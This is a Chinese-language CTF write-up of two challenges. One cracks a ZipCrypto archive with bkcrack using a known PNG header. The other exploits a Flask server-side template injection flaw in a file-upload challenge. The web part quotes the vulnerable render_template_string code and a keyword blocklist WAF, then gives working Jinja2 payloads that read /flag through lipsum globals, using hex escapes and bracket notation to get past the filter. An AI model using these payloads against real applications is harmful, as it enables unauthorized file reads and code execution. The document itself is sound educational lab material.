MISC
[MISC] mybrave
下载附件之后发现是一个压缩包,我先跑了一遍伪加密,发现不是,然后打开010观察发现是一个ZIPcrypto加密的zip文件,而且可以发现里面含有一个名为“mybrave.png”的png文件,可以猜想知道,这是一个明文加密,所以我们使用了bkcrack,利用png文件的头文件破解
#使用语言如下
./bkcrack -C mybrave.zip -c mybrave.png -x 0 89504e470d0a1a0a0000000d49484452

成功得到密钥key:97d30dcc 173b15a8 6e0e7455
然后再进行解密
./bkcrack -c mybrave.png -k 97d30dcc 173b15a8 6e0e7455 -D 123.zip
#格式如:bkcrack -c cipherfile -k 12345678 23456789 34567890 -d decipheredfile
我所借鉴的bkcrack帮助:CTF压缩包破解神器bkcrack教程和详细使用过程-CSDN博客
我也会写一篇讲述我的bkcrack使用方法介绍
解密之后成功从123.zip中得到一个png图片,然后再将其拖入010中

在最后一段很突兀的出现一串数字,我们将无关的00去掉,即可用base64,得到flag
此处我们可以使用CyberChef直接去除00(不像我,手动去除的/_ \)

知识补充:需要单独写一篇bkcrack和CyberChef的使用方法教程
WEB
[WEB] UPLOAD?SSTI!
ps:因为这篇wp对于我而言,缺陷的知识较多而且复杂,所以在解出flag之后又花了一些时间去理解运用,所以写的比较慢。
此处感谢”夜雨、浅秋“ ”My4n“等等文章:GHCTF2025-WEB新手向详解-UPLOAD?SSTI! (内含SSTI模板注入关键字绕过方式)-CSDN博客
首先题目中就可以明显地看到SSTI,然后我就去网上查到了ssti的相关知识,超详细SSTI模板注入漏洞原理讲解_ssti注入-CSDN博客
SSTI是什么:
以我自己的思路来说,当访问我们网站的访客,需要阅读一部分独特的内容的时候,我们的网站需要为其”定制“一个独特的页面,但是更改的时候就会很麻烦,所以我们采取了一个模板,就像写信的时候,我们只需要将“寄信人、名称、关键内容、寄信人、日期”打上空白,然后根据用户提供的内容数据,把这些空白填上,就完成了定制页面。这就是模板注入,而SSTI 服务器端模板注入(Server-Side Template Injection)就是模板注入的一类,当前使用的框架,比如python的flask,php的tp,java的spring等一般都采用这种模式。
SSTI的漏洞成因:
而SSTI的漏洞成因就是服务端接收了用户的恶意输入以后,未经处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。
解题思路:
对于SSTI的题目,大概的步骤是确认题目,注入点测试,构造payload(中文 ' 有效载荷 ',指成功exploit之后,真正在目标系统执行的代码或指令)
打开靶机之后,可见是一个文件上传,我刚才还试了试一句话代码什么的,发现没用,才去研究题目中的SSTI 尝试无果之后,我随即打开了网站源码,开始审计源码。
tmp_str = """<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>查看文件内容</title>
</head>
<body>
<h1>文件内容:{name}</h1> <!-- 显示文件名 -->
<pre>{data}</pre> <!-- 显示文件内容 -->
<footer>
<p>© 2025 文件查看器</p>
</footer>
</body>
</html>
""".format(name=safe_filename, data=file_data)
return render_template_string(tmp_str)
此处可见“render_template_string”函数,这算是一个SSTI的标志性函数。
成因:在flask中,其渲染方法有两种:render_template和render_template_string。对于render_template函数的作用就是渲染一个指定的模版文件,并且“{{ 变量 }} “会被模板所代替为相应的变量值以及进行计算,而render_template_string与其类似,不同的是,其接收的是字符串,特点是在渲染模板的时候使用了“%s”来动态的替换字符串,在渲染的时候会把 {undefined{}} 包裹的内容当做变量解析替换,根据这个方式,我们把字符串换成反馈出关键信息的指令,那随机得到了flag
确定题目之后,发现有有waf(防火墙)
def contains_dangerous_keywords(file_path):
dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]
with open(file_path, 'rb') as f:
file_content = str(f.read())
for keyword in dangerous_keywords:
if keyword in file_content:
return True # 找到危险关键字,返回 True
if contains_dangerous_keywords(file_path):
# 删除不安全的文件
os.remove(file_path)
return jsonify({"error": "Waf!!!!"}), 400
可知该waf的作用是如果包含黑名单中的字符就会删除该文件并报错,所以在我们构建payload的时候就不能使用黑名单中的字符,我们得想办法绕过,例如编码或者request。
首先我们需要确定注入点,在网站上传一个123.txt文件之后,通过yakit抓包,在上传中文件构建一个“{{9*9}}”
注意!填写的时候,需要空格一行再构建文本(我也不知道为什么,求解)

访问url/file/123.txt,即可观察文{{9*9}}是否被解析,如图,文件已经被解析(由于环境关闭,我就直接用的截图)
接下来我们就要构造payload,由于waf,所以我们采用两种方法:
编码绕过:
1.将下划线、os、flag字符进行编码、2.尝试下划线替换为\x5f ,用cat /f*的通配符方式来访问/flag:、3.用join拼接敏感字符+dir(0)0替代下划线
原始SSTI绕过payload模板:
{{ lipsum.__globals__.__builtins__.open('/flag').read() }}
通过 lipsum 的 globals 获取全局变量字典,再从中提取 builtins 模块,调用 open 函数读取 /flag 文件内容。
使用十六进制绕过敏感字符(如flag中的字母g、下划线),得到:
{{ lipsum.\x5f\x5fglobals\x5f\x5f.\x5f\x5fbuiltins\x5f\x5f.open('/flag').read() }}
方括号 [] 替换 . :Python允许通过obj["key"]的方式访问属性或字典的键,这种方式的属性名被包裹在字符串中,可以动态构造,从而绕过waf对固定模式的过滤
{{ lipsum["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["open"]("/fla\x67").read() }}
request绕过:(后面再写吧)
知识补充:我们可以使用fenjing,这个专门用于检测SSTI的工具实现。
关于SSTI的绕过模板构成方式见:SSTI模板注入及绕过姿势(基于Python-Jinja2)_exploit ssti bypass filter-CSDN博客
Comments NOTHING